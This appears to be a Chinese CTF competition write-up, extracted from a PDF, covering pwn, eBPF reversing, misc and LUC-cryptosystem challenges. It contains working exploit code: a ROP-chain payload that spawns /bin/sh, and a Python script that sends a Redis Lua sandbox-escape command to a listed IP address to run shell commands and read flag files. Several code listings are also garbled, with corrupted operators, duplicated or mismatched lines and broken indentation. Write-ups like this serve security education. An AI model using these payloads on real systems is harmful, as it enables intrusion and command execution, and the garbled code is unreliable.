106         if len(seti)==4 and seti.isdisjoint(set('0')):
107             answerSet.add(str(i))
108     return answerSet
109
110 def answerSetUpd(answerSet,inputStr,A,B):
111     answerSetCopy=answerSet.copy()
112     for answerStr in answerSetCopy:
113         A1,B1=compareAnswer1(inputStr,answerStr)
114         if A!=A1 or B!=B1:
115             answerSet.remove(answerStr)
116
117 def answerSetDelNum(answerSet,inputStr,A,B):
118     i=0
119     for answerStr in answerSet:
120         A1, B1 = compareAnswer1(inputStr, answerStr)
121         if A!=A1 or B!=B1:
122             i+=1
123     return i
124
125
126
127 def suggestedNum(answerSet,lvl):
128     suggestedNum=''
129     delCountMax=0
130     if len(answerSet) > lvl:
131         suggestedNum = list(answerSet)[0]
132     else:
133         for inputStr in answerSet:

```

```

134         delCount = 0
135         for answerStr in answerSet:
136             A,B = compareAnswer1(inputStr, answerStr)
137             delCount += answerSetDelNum(answerSet, inputStr,A,B)
138         if delCount > delCountMax:
139             delCountMax = delCount
140             suggestedNum = inputStr
141         if delCount == delCountMax:
142             if suggestedNum == '' or int(suggestedNum) > int(inputStr):
143                 suggestedNum = inputStr
144
145     return suggestedNum
146
147 def input1(str1):
148     # sla("(4) EXIT",0)
149     sleep(0.2)
150     sl('0')
151     sla("YOU CHOSE INPUT",str1)
152
153 def output():
154     sleep(0.2)
155     sl('1')
156     # sla("(4) EXIT",1)
157
158 def edit(idx,str1):
159     sleep(0.2)
160     sl('2')
161     sla("WHICH ONE?",idx)
162     sleep(0.2)
163     sl(str1)
164
165
166
167 def exp():
168     sla("PLEASE INPUT A NUMBER:",1717986918)
169     sla("PLEASE INPUT A NUMBER:",1235)
170     ru("YOU HAVE SEVEN CHANCES TO GUESS")
171     guessTrainer()
172     sa("AGAIN OR EXIT?","exit")
173     # input1('aaaaaaaaaa')
174     # input1('bbbbbbbbbb')
175     # input1('cccccccc')
176     # input1('cccccccc')
177     # input1('cccccccc')
178     # sleep(0.2)
179     # sl('3')
180     # input1('aaaaaaaaaa')

```

```

181     # # input1('bbbbbbbbbb')
182     # pay = 'c'*0x2000
183     # # sa("AGAIN OR EXIT?", "exit")
184     # input1(pay)
185     # pay = 'd'*0x200
186     # input1(pay)
187
188     sla("(4) EXIT", "4")
189     payload="/bin/sh\x00"+"a"*(0x460-
8)+p64(0x0000000000405b78)+p64(0x0000000000405b78)+p64(0x000000000045cbe4)+p64
(0x000000000045afa8)+'/bin/sh\x00'*2
190
191     payload+=p64(0x000000000045bcbc)+p64(0x0000000000405b78)+p64(59)+p64(0x45C849)
192     # debug([0x494B25], 0)
193
194     sla("ARE YOU SURE?", payload)
195
196     # sla("OKAY YOU CAN LEAVE YOUR NAME AND BYE~", payload)
197     # 0x0000000000427306: mov rdi, qword ptr [rdx]; call rdi;
198     # 0x0000000000473e28: sub ecx, eax; mov rax, rcx; mov rbp, qword ptr [rsp +
0x28]; add rsp, 0x30; ret;
199     # dbg()
200     # 0x000000000044dbe3: pop rcx; ret;
201     # 0x0000000000405b78: pop rax; ret;
202     # 0x00000000004086b7: mov rdi, rcx; xor esi, esi; mov rbp, qword ptr [rsp +
0x100]; add rsp, 0x108; ret
203
204
205     # 0x000000000045bcbc: add rdi, 0x10; ret;
206     # 0x0000000000405b78: pop rax; ret;
207     # 0x000000000040103d: ret; rax
208     # 0x000000000045cbe4: mov rbx, rsp; and rsp, 0xffffffffffffffff0; call rax;
209     # 0x000000000045afa8: mov rdi, rbx; mov rcx, rbx; call rax;
210     # 0x000000000048546c: pop rdx; ret;
211     # 0x000000000045afa0: sub rdi, rdx; mov qword ptr [rsp + 0x28], rdi; mov rdi,
rbx; mov rcx, rbx; call rax
212     #
213
214     it()
215     if __name__ == '__main__':
216         exp()

```

RE

fpbe

题目利用 ebpf 机制 hook 了 uprobe_function 的入口，用于 hook 的那个过程在 LLVM 编译的 bpf 目标文件里（被集成到了文件里），具体的 bpf 文件位置和大小可以在 fpbe_bpf__create_skeleton 函数里看到

```
if ( s->progs )
{
    s->progs->name = "uprobe";
    s->progs->prog = &obj->progs.uprobe;
    s->progs->link = &obj->links.uprobe;
    s->data_sz = 1648LL;           // elf大小
    s->data = &unk_4F4018;        // elf内容
    result = 0;
}
```

把这个 elf dump 下来，用 llvm-objdump 反汇编里面的 bpf 字节码，可以得到：

Assembly language

```
1 Disassembly of section uprobe/func:
2
3 0000000000000000 uprobe:
4      0:      79 12 68 00 00 00 00 00      r2 = *(u64 *) (r1 + 104)  //
   arg2
5      1:      67 02 00 00 20 00 00 00      r2 <=<= 32
6      2:      77 02 00 00 20 00 00 00      r2 >>= 32
7      3:      79 13 70 00 00 00 00 00      r3 = *(u64 *) (r1 + 112)  //
   arg1
8      4:      67 03 00 00 20 00 00 00      r3 <=<= 32
9      5:      77 03 00 00 20 00 00 00      r3 >>= 32
10     6:      bf 34 00 00 00 00 00 00      r4 = r3
11     7:      27 04 00 00 c0 6d 00 00      r4 *= 28096
12     8:      bf 25 00 00 00 00 00 00      r5 = r2
13     9:      27 05 00 00 88 fb 00 00      r5 *= 64392
14    10:      0f 45 00 00 00 00 00 00      r5 += r4
15    11:      79 14 60 00 00 00 00 00      r4 = *(u64 *) (r1 + 96)  //
   arg3
16    12:      67 04 00 00 20 00 00 00      r4 <=<= 32
17    13:      77 04 00 00 20 00 00 00      r4 >>= 32
18    14:      bf 40 00 00 00 00 00 00      r0 = r4
19    15:      27 00 00 00 fb 71 00 00      r0 *= 29179
20    16:      0f 05 00 00 00 00 00 00      r5 += r0
21    17:      79 11 58 00 00 00 00 00      r1 = *(u64 *) (r1 + 88)  //
   arg4
22    18:      b7 00 00 00 00 00 00 00      r0 = 0
23    19:      73 0a f8 ff 00 00 00 00      *(u8 *) (r10 - 8) = r0
24    20:      7b 0a fa ff 00 00 00 00      *(u64 *) (r10 - 16) = r0
```

```

24      20:      7b 0a e8 ff 00 00 00 00      *(u64 *) (r10 - 10) = r0
25      21:      67 01 00 00 20 00 00 00      r1 <=< 32
26      22:      77 01 00 00 20 00 00 00      r1 >=> 32
27      23:      bf 10 00 00 00 00 00 00      r0 = r1
28      24:      27 00 00 00 8e cc 00 00      r0 *= 52366
29      25:      0f 05 00 00 00 00 00 00      r5 += r0
30      26:      b7 06 00 00 01 00 00 00      r6 = 1
31      27:      18 00 00 00 95 59 73 a1 00 00 00 00 18 be 00 00      r0 =
209012997183893 ll
33      30:      5d 05 42 00 00 00 00 00      if r5 != r0 goto +66 <LBB0_5>
34      31:      bf 35 00 00 00 00 00 00      r5 = r3
35      32:      27 05 00 00 bf f1 00 00      r5 *= 61887
36      33:      bf 20 00 00 00 00 00 00      r0 = r2
37      34:      27 00 00 00 e5 6a 00 00      r0 *= 27365
38      35:      0f 50 00 00 00 00 00 00      r0 += r5
39      36:      bf 45 00 00 00 00 00 00      r5 = r4
40      37:      27 05 00 00 d3 ad 00 00      r5 *= 44499
41      38:      0f 50 00 00 00 00 00 00      r0 += r5
42      39:      bf 15 00 00 00 00 00 00      r5 = r1
43      40:      27 05 00 00 84 92 00 00      r5 *= 37508
44      41:      0f 50 00 00 00 00 00 00      r0 += r5
45      42:      18 05 00 00 40 03 54 e5 00 00 00 00 56 a5 00 00      r5 =
181792633258816 ll
46      44:      5d 50 34 00 00 00 00 00      if r0 != r5 goto +52 <LBB0_5>
47      45:      bf 35 00 00 00 00 00 00      r5 = r3
48      46:      27 05 00 00 85 dd 00 00      r5 *= 56709
49      47:      bf 20 00 00 00 00 00 00      r0 = r2
50      48:      27 00 00 00 28 80 00 00      r0 *= 32808
51      49:      0f 50 00 00 00 00 00 00      r0 += r5
52      50:      bf 45 00 00 00 00 00 00      r5 = r4
53      51:      27 05 00 00 2d 65 00 00      r5 *= 25901
54      52:      0f 50 00 00 00 00 00 00      r0 += r5
55      53:      bf 15 00 00 00 00 00 00      r5 = r1
56      54:      27 05 00 00 12 e7 00 00      r5 *= 59154
57      55:      0f 50 00 00 00 00 00 00      r0 += r5
58      56:      18 05 00 00 a3 4d 48 74 00 00 00 00 f3 a6 00 00      r5 =
183564558159267 ll
59      58:      5d 50 26 00 00 00 00 00      if r0 != r5 goto +38 <LBB0_5>
60      59:      bf 35 00 00 00 00 00 00      r5 = r3
61      60:      27 05 00 00 2c 82 00 00      r5 *= 33324
62      61:      bf 20 00 00 00 00 00 00 00      r0 = r2
63      62:      27 00 00 00 43 ca 00 00      r0 *= 51779
64      63:      0f 50 00 00 00 00 00 00      r0 += r5
65      64:      bf 45 00 00 00 00 00 00      r5 = r4
66      65:      27 05 00 00 8e 7c 00 00      r5 *= 31886
67      66:      0f 50 00 00 00 00 00 00      r0 += r5
68      67:      bf 15 00 00 00 00 00 00      r5 = r1

```

```

69      68:      27 05 00 00 3a f2 00 00      r5 *= 62010
70      69:      0f 50 00 00 00 00 00 00      r0 += r5
71      70:      18 05 00 00 77 72 5a 48 00 00 00 00 9c b9 00 00      r5 =
204080879923831 ll
72      72:      5d 50 18 00 00 00 00 00      if r0 != r5 goto +24 <LBB0_5>
73      73:      63 1a f4 ff 00 00 00 00      *(u32 *)(r10 - 12) = r1
74      74:      63 4a f0 ff 00 00 00 00      *(u32 *)(r10 - 16) = r4
75      75:      63 2a ec ff 00 00 00 00      *(u32 *)(r10 - 20) = r2
76      76:      63 3a e8 ff 00 00 00 00      *(u32 *)(r10 - 24) = r3
77      77:      18 01 00 00 43 54 46 7b 00 00 00 00 25 73 7d 0a      r1 =
755886917287302211 ll
78      79:      7b 1a d8 ff 00 00 00 00      *(u64 *)(r10 - 40) = r1
79      80:      18 01 00 00 46 4c 41 47 00 00 00 00 3a 20 48 46      r1 =
5064333215653776454 ll
80      82:      7b 1a d0 ff 00 00 00 00      *(u64 *)(r10 - 48) = r1
81      83:      18 01 00 00 45 21 20 59 00 00 00 00 4f 55 52 20      r1 =
2329017756590022981 ll
82      85:      7b 1a c8 ff 00 00 00 00      *(u64 *)(r10 - 56) = r1
83      86:      18 01 00 00 57 45 4c 4c 00 00 00 00 20 44 4f 4e      r1 =
5642803763628229975 ll
84      88:      7b 1a c0 ff 00 00 00 00      *(u64 *)(r10 - 64) = r1
85      89:      b7 06 00 00 00 00 00 00      r6 = 0
86      90:      73 6a e0 ff 00 00 00 00      *(u8 *)(r10 - 32) = r6
87      91:      bf a1 00 00 00 00 00 00      r1 = r10
88      92:      07 01 00 00 c0 ff ff ff      r1 += -64
89      93:      bf a3 00 00 00 00 00 00      r3 = r10
90      94:      07 03 00 00 e8 ff ff ff      r3 += -24
91      95:      b7 02 00 00 21 00 00 00      r2 = 33
92      96:      85 00 00 00 06 00 00 00      call 6
93
94 00000000000000308 LBB0_5:
95      97:      bf 60 00 00 00 00 00 00      r0 = r6
96      98:      95 00 00 00 00 00 00 00      exit

```

分析一下可以得到一个多元方程，z3 解

Python

```
1 import struct
2 from z3 import *
3
4 solver = Solver()
5 arg1, arg2, arg3, arg4 = Ints("arg1 arg2 arg3 arg4")
6
7 solver.add(arg4 * 52366 + arg3 * 29179 + arg2 * 64392 + arg1 * 28096 ==
8 209012997183893)
9 solver.add(arg4 * 37508 + arg3 * 44499 + arg2 * 27365 + arg1 * 61887 ==
10 181792633258816)
11 solver.add(arg4 * 59154 + arg3 * 25901 + arg2 * 32808 + arg1 * 56709 ==
12 183564558159267)
13 solver.add(arg4 * 62010 + arg3 * 31886 + arg2 * 51779 + arg1 * 33324 ==
14 204080879923831)
15
16 if solver.check() == sat:
17     flag = ''
18     res = solver.model()
19     for arg in [arg1, arg2, arg3, arg4]:
20         flag += struct.pack("<I", res[arg].as_long()).decode()
21     print(flag)
```

MISC

Check in

截图即可

Plain Text

base64

R

```
1 dOBRO POVALOWATX NA MAT^, WY DOLVNY PEREWESTI \TO NA ANGLIJSKIJ QZYK. tWOJ
  SEKRET SOSTOIT IZ DWUH SLOW. wSE BUKWY STRO^NYE. qBLO^NYJ ARBUZ. vELAEM WAM
  OTLI^NOGO DNQ.
```

google搜索发现dOBRO POVALOWATX与俄文相关，结合上文基本都是英文字母，则根据以下信息：

Aaa发音类似英语father里的a。B6b发音类似英语 bank里的b。BBv发音类似英语victor里的v。

Ггg发音类似英语good里的g。Ддd发音类似英语dog里的g。Еее或ye发音类似英语yes里的y。Ёёyo发音类似英语yogurt里的yo。Жжzh发音类似法语jour里的j。Ззz发音类似英语zebra里的z。Иии发音类似英语see里的ee。Ййj发音类似英语boy里的y。Ккk发音类似英语kite里的k。Ллl发音类似英语like里的l。Ммм发音类似英语mile里的m。Ннn发音类似英语no里的n。Ооo发音类似英语port里的or，不重读时弱化。Ппp发音类似英语put里的p。Ррr卷舌颤音。Ссs发音类似英语sit里的s。Ттt发音类似英语tea里的t。ууu发音类似英语fool里的oo。фf发音类似英语face里的f。

a-a、б-b、в-v、г-g、д-d、е-je、ё-jo、ж-zh、з-z、и-e、й-jj、к-k、л-l、м-m、н-n、о-o、п-p、р-r、с-s、т-t。

у-u、ф-f、х-kh、ц-c、ч-ch、ш-sh、щ-sch、ъ-" ы-y ь-'、э-eh、ю-ju、я-ja

得到转换后的俄文：

Erlang
1 ДОБРО ПОВАЛОШАТХ НА МАТ^,ШЫ ДОЛВНЫ ПЕРЕШЕСТИ ЭТО НА АНГЛИЙСКИЙ ЯЗЫК. ТШОЙ СЕКРЕТ СОСТОИТ ИЗ ДВа СЛОВА. ШСЕ БУКШЫ СТРО^НЫЕ. ЯБЛО^НЫЙ АРБУЗ. ВЕЛАЕМ ШАМ ОТЛИ^НОГО ДНЯ.

翻译：

Delphi
1 WELCOME TO MATH, YOU SHOULD TRANSFER THIS TO ENGLISH. YOUR SECRET IS A TWO WORD. ALL LETTERS ARE SMALL.APPLE ^ WATERMELON. WE HAVE A GOOD DAY.

Quest-Crash

Issue Description (问题描述)

redis连接数会随着页面的访问一直增加，直到到达最大连接数(默认为10000)后便无法连接，于是乎便500了。

500

An Internal Server Error has occurred

bp一直发包set就行

Quest-RCE

Python

```
1 import requests
2
3 session = requests.Session()
4
5 rawBody = '{"query\\":\\"INFO\\neval \'local io_l =
package.loadlib(\\\\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\\\\" ,
\\\\"luaopen_io\\\\""); local io = io_l(); local f = io.popen(\\\\"cat /f*\\\\" ,
\\\\"r\\\\""); local res = f:read(\\\\"*a\\\\""); f:close(); return res' 0\\"}'"
6 headers = {"Origin":"http://120.25.155.106:21570","Accept":"*//*","User-
Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/99.0.4844.74
Safari/537.36","Referer":"http://120.25.155.106:21570/","Connection":"close","
Accept-Encoding":"gzip, deflate","Accept-Language":"zh,zh-TW;q=0.9,en-
US;q=0.8,en;q=0.7,zh-CN;q=0.6","Content-Type":"application/json"}
7 response = session.post("http://120.25.155.106:21570/sendreq", data=rawBody,
headers=headers)
8
9 print("Status code:  %i" % response.status_code)
10 print("Response body: %s" % response.content)
```

Crypto

RRSSAA

题目seq序列是Lucas序列，关于Lucas序列有相关的密码系统LUC cryptosystem，我们以关键词 $1+mn \cdot V_e$, LUC cryptosystem去Google检索一下，第一篇paper便是我们所需要的：<https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.138.7238&rep=rep1&type=pdf>。阅读paper的第六部分可知，如果已知 n 的分解，便可以破解该系统。题目给了 β, δ 等众多经典参数，猜测应该用格相关方法去分解 n 然后求解，关于 $p-q$ 很小的论文找到了这一篇[1632.pdf \(iacr.org\)](https://iacr.org/papers/1632.pdf)，第三部分介绍到如果满足它的界，那可以通过连分数求解，第四部分介绍到如果满足另一个界，可以采用二元coppersmith的方法求解。验证了一下，hint的界是两个都满足的，但是二元copper写起来更简单，就用二元copper了；flag部分就只满足coppersmith方法的界，解出来的hint也提示coppersmith，然后就copper，调参数，调了半天没结果。后面发现素数生成部分好像有问题（这也应该就是这题解这么多的原因了），然后放弃copper，直接爆得结果，分解之后的步骤基本一致。还要注意的一个地方就是不能直接使用原序列seq的生成方式了，需要写一个矩阵快速幂来加速。

第一部分：

Python

```

1  #sage
2  import itertools
3  from gmpy2 import *
4  from Crypto.Util.number import *
5  import random
6
7  def small_roots(f, bounds, m=1, d=None):
8      if not d:
9          d = f.degree()
10
11      R = f.base_ring()
12      N = R.cardinality()
13
14      f /= f.coefficients().pop(0)
15      f = f.change_ring(ZZ)
16
17      G = Sequence([], f.parent())
18      for i in range(m + 1):
19          base = N ^ (m - i) * f ^ i
20          for shifts in itertools.product(range(d), repeat=f.nvariables()):
21              g = base * prod(map(power, f.variables(), shifts))
22              G.append(g)
23
24      B, monomials = G.coefficient_matrix()
25      monomials = vector(monomials)
26
27      factors = [monomial(*bounds) for monomial in monomials]
28      for i, factor in enumerate(factors):
29          B.rescale_col(i, factor)
30
31      B = B.dense_matrix().LLL()
32
33      B = B.change_ring(QQ)
34      for i, factor in enumerate(factors):
35          B.rescale_col(i, 1 / factor)
36
37      H = Sequence([], f.parent().change_ring(QQ))
38      for h in filter(None, B * monomials):
39          H.append(h)
40          I = H.ideal()
41          if I.dimension() == -1:
42              H.pop()
43          elif I.dimension() == 0:
44              roots = []
45              for root in I.variety(ring=ZZ):
46                  root = tuple(R(root[var]) for var in f.variables())
47                  roots.append(root)

```

```

48         return roots
49
50     return []
51
52 def solve(a,b,c):
53     delta=b*b-4*a*c
54     if delta<0:
55         return (0,0)
56     delta=isqrt(delta)
57     if (-b+delta)%(2*a)!=0 or (-b-delta)%(2*a)!=0:
58         return (0,0)
59     return ((-b+delta)//(2*a),(-b-delta)//(2*a))
60
61 def get_d(l,i):
62     return invert(e%(l-i),l-i)
63
64 def Legendre(a,l):          #勒让德符号计算
65     return (pow((a%l+1)%l,(l-1)//2,l))%l
66
67 def seq(r, k,p):
68     v = [r, 2]
69     for i in range(1, k):
70         v = [r*v[0]-v[1], v[0]]
71     ret = v[0] if k != 0 else v[1]
72     return ret%p
73
74 def mul(x,y,p):
75     ans=[[0 for i in range(2)] for j in range(2)]
76     for i in range(2):
77         for j in range(2):
78             for k in range(2):
79                 ans[i][j]+=x[i][k]*y[k][j]%p
80     for i in range(2):
81         for j in range(2):
82             ans[i][j]%=p
83     return ans
84
85 def qpow(M,k,p):
86     E=[[0 for i in range(2)] for j in range(2)]
87     for i in range(2):
88         E[i][i]=1
89     while k:
90         if k%2!=0:
91             E=mul(E,M,p)
92             M=mul(M,M,p)
93             k>>=1
94     return E
95

```

```

96 def get_seq(r,k,p):
97     LUC=[[r,-1],[1,0]]
98     res=qpow(LUC,k-1,p)
99     res=(res[0][0]*r+res[0][1]*2)%p
100     return res
101
102 def CRT(a,b):
103     pro=1
104     res=0
105     for i in b:
106         pro*=i
107     for i in range(len(b)):
108         r=pro//b[i]
109         res+=a[i]*r*invert(r,b[i])
110     return res%pro
111
112 n=1227747786283337861982476737301996992446216712079295034759749341164352916563
533987173629035005447131834928770182117382920015161685678799030732968297935488
814672702289894827235103237802929474038615462830991228684289024809994856257519
61457245487615479377459707992802193391975415447673215862245349068018710525679
113 e=7105408692393780974425936359246908629062633111464343215149184058052422839553
782885999575538955213539904607968494147112651103116202742324255190616790664935
322773999797774246994193641076154786429287567308416036562198486649223818741008
968261111017589015617705905631979526370180766874051731174064076871339400470062
519500450745667838729104568633808272577378699913068193645578675484681151593983
853443489561431176000585296710615726640355782811266099023653898050647891425956
485791437516020367967793814415345332943552405865306305448753989707540163585481
006631816856260061985275944250758886027672221219132999488907097750048011
114 c=2593129589804979134490367446026701647048897831627696427897506570257238733858
989741279626614121210703780002736667183915826429635213867589464112850355422817
678245007337553349507744893376944140333333044928907283949731124795240808354521
353751152149301719465724014407412256933045835977081658410026081895650068864922
666975525001601181989114436054060461228877148361720945120260382962899756912493
868467226822547185396096960560068874538680230073168773182775945272726468512949
751672553541335307512429217493003429882831235199830121519272447634533018024087
697385363918421438799206577619692685090186486444886371979602617584956259
115 P.<x, y> = PolynomialRing(Zmod(e))
116 A=-(n-1)^2 %e
117 f=x*y+A*x+1
118 X=2^700
119 Y=2^700
120 T=small_roots(f,(X,Y),m=3,d=3)
121 Sub=irroot(ZZ(T[0][1]),2)[0]
122 Sum=irroot(Sub**2+4*n,2)[0]
123 p,q=solve(1,-Sum,n)
124 phi=(p*p-1)*(q*q-1)
125 inv_q=invert(p,q)
126 inv_n=invert(a,n)

```

```

126 inv_p=invert(c,q,p)
127 inv=[inv_p,inv_q]
128 pre_crt=invert(p,q)
129 r_List=[]
130 for l in [p,q]:
131     i=Legendre(c*c-4,l)
132     if i!=1:
133         i=-1
134     d=get_d(l,i)
135     rl=get_seq(c,d,l)
136     r_List.append(rl)
137 r=CRT(r_List,[p,q])
138 v=get_seq(r,e,n*n)
139 check=(c*invert(v,n*n)-1)%n
140 m_List=[]
141 index=0
142 for l in [p,q]:
143     tmp=c*invert(get_seq(r,e,l*l),l*l)%(l*l)
144     tmp=(tmp-1)//l
145     ml=tmp*inv[index]%l
146     m_List.append(ml)
147     index+=1
148
149 m=CRT(m_List,[p,q])
150 print(long_to_bytes(m))
151 #hint:b'The original challenge picks beta = 0.33, which yields straightforward
    unintended solution. BTW do you know coppersmith?'

```

第二部分：

Python

```

1  #sage
2  from gmpy2 import *
3  from Crypto.Util.number import *
4  import random
5
6  def solve(a,b,c):
7      delta=b*b-4*a*c
8      if delta<0:
9          return (0,0)
10     delta=isqrt(delta)
11     if (-b+delta)%(2*a)!=0 or (-b-delta)%(2*a)!=0:
12         return (0,0)
13     return ((-b+delta)//(2*a),(-b-delta)//(2*a))
14
15 def get_d(l,i):
16     return invert(e%(l-i),l-i)

```

```

17
18 def Legendre(a,l):          #勒让德符号计算
19     return (pow((a%l+1)%l,(l-1)//2,l))%l
20
21 def seq(r, k,p):
22     v = [r, 2]
23     for i in range(1, k):
24         v = [r*v[0]-v[1], v[0]]
25     ret = v[0] if k != 0 else v[1]
26     return ret%p
27
28 def mul(x,y,p):
29     ans=[[0 for i in range(2)] for j in range(2)]
30     for i in range(2):
31         for j in range(2):
32             for k in range(2):
33                 ans[i][j]+=x[i][k]*y[k][j]%p
34     for i in range(2):
35         for j in range(2):
36             ans[i][j]%=p
37     return ans
38
39 def qpow(M,k,p):
40     E=[[0 for i in range(2)] for j in range(2)]
41     for i in range(2):
42         E[i][i]=1
43     while k:
44         if k%2!=0:
45             E=mul(E,M,p)
46             M=mul(M,M,p)
47             k>>=1
48     return E
49
50 def get_seq(r,k,p):
51     LUC=[[r,-1],[1,0]]
52     res=qpow(LUC,k-1,p)
53     res=(res[0][0]*r+res[0][1]*2)%p
54     return res
55
56 def CRT(a,b):
57     pro=1
58     res=0
59     for i in b:
60         pro*=i
61     for i in range(len(b)):
62         r=pro//b[i]
63         res+=a[i]*r*invert(r,b[i])
64     return res%pro

```

64 return res+pro

65

66 n=5996909821344659896151055023371825887886214829819132365467295033007058740472
67 671529968599748914229069312636640804460330346351834124352624111755601199480490
268699816623833354971926970345345095814026247594258000998132493699297625283288
7660977703209225426388975233018602730303262439218292062822981478737257836581

67 e=9706989652386396834032051815894981354400696600168434884854019946542028370587
544468535591437548526289221253275834110391174454153038887960675765486269040709
715148248780240573915076179883855379304171363222984764672153009957951050084886
92961624917433064070351961856959734368784774553856030001555698970780266709934
844666223441063746373500234743391051131726876047833959234036135552366934965678
517794007079530274577056170500611937501242370556908017251510989722391204761132
413100880894209010516174936938425626378962524481619486554552771469259130493540
86353328749354876619287042077221173795354616472050669799421983520421287

68 c=2757297249371055260112176788534868300821961060153993508569437878576838431569
949051806118959108641317578931985550844206475198216543139472405873345269094341
570473142756599117266569746703013099627523306340748466413993624965897996985230
542275127290795414763432332819334757831671028121489964563214463689614865416498
886490980692515184662350519034273510244222407505570929178897273048405431658365
659592815446583970229985655015539079874797518564867199632672678818617933927005
198847206019475149998468493858071672920824599672525667187482558622701227716212
254925837398813278836428805193481064316937182435285668656233017810444672

69 k=1

70 while True:

71 tmp=2**900+2**451*k+k*k+k+4*n

72 if iroot(tmp,2)[1]==True:

73 Sum=iroot(tmp,2)[0]

74 break

75 k+=1

76

77 p,q=solve(1,-Sum,n)

78 phi=(p*p-1)*(q*q-1)

79 inv_q=invert(p,q)

80 inv_p=invert(q,p)

81 inv=[inv_p,inv_q]

82 pre_crt=invert(p,q)

83 r_List=[]

84 for l in [p,q]:

85 i=Legendre(c*c-4,l)

86 if i!=1:

87 i=-1

88 d=get_d(l,i)

89 rl=get_seq(c,d,l)

90 r_List.append(rl)

91 r=CRT(r_List,[p,q])

92 v=get_seq(r,e,n*n)

93 check=(c*invert(v,n*n)-1)%n

94 m_List=[]


```
95 index=0
96 for l in [p,q]:
97     tmp=c*invert(get_seq(r,e,l*l),l*l)%(l*l)
98     tmp=(tmp-1)//l
99     ml=tmp*inv[index]%l
100     m_List.append(ml)
101     index+=1
102
103 m=CRT(m_List,[p,q])
104 print(long_to_bytes(m))
105 #b'HFCTF{5eb34942-bd0d-4efd-b0e1-a73225d92678}'
```